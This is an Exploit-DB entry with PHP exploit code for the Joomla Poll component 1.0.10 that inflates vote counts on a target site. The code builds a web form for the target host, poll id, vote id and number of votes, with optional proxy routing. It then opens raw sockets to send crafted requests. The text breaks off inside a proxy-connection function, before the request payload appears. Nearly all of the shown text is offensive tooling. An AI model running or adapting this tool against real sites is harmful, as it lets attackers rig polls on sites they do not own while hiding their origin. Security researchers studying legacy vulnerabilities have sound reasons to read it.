Exploit-DB #2219
Description: Joomla! Component Poll 1.0.10 - Arbitrary Add Votes
Type: webapps
Platform: php
Date: 2006-08-19
Author: trueend5

Exploit:
<?php
#          Joomla [poll component] add unlimited votes            #
#            Computer Security Researchers Institute              #
#              works regardless of php.ini settings               #
#                          by trueend5                            #
#                     [http://www.KAPDA.ir]                       #


error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Joomla [poll component] arbitrary add votes</title>
</head>
<body bgcolor="#FFCCFF">
<p align="center"><font size="4" color="#0000FF">Joomla&nbsp; [poll
component] arbitrary add votes</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><b><a href="http://www.kapda.ir"><font color="#000000">KAPDA</font></a>.ir</b></p>

<p align="center">&nbsp;</p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>

          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex: /joomla/
          or just / )</span></p>
          <p><input name="pollid" size="20"> <span class="Stile5"><font color="#FF0000">
			*</font> pollid (ex: index.php?option=com_poll&amp;task=results&amp;<b><font size="4">id=14</font></b> )</span></p>

          <p><input name="voteid" size="20"><span class="Stile5"><font color="#FF0000">
			*</font> voteid ( <b><u>1</u></b> for first option, <b><u>2</u></b>
			for second one , <b><u>3</u></b> for third and so... )</span></p>

			<p><input name="hits" size="20"><span class="Stile5"><font color="#FF0000">
			*</font>
			hits ( number of votes that you want to add ) </span></p>
          <p><input name="port" size="20"><span class="Stile5">&nbsp;&nbsp;&nbsp; specify a port&nbsp;
          (default: 80)</span></p>
          <p><input name="proxy" size="20" ><span class="Stile5">&nbsp;&nbsp;&nbsp; send exploit
          through an HTTP proxy (ip:port)</span></p>

          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
          * </font>fields are required</span></p>
          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>

          <p><input type="submit" value="Start" name="Submit"></p>
        </form></td></tr></tbody></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() 

{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid proxy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid proxy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' pro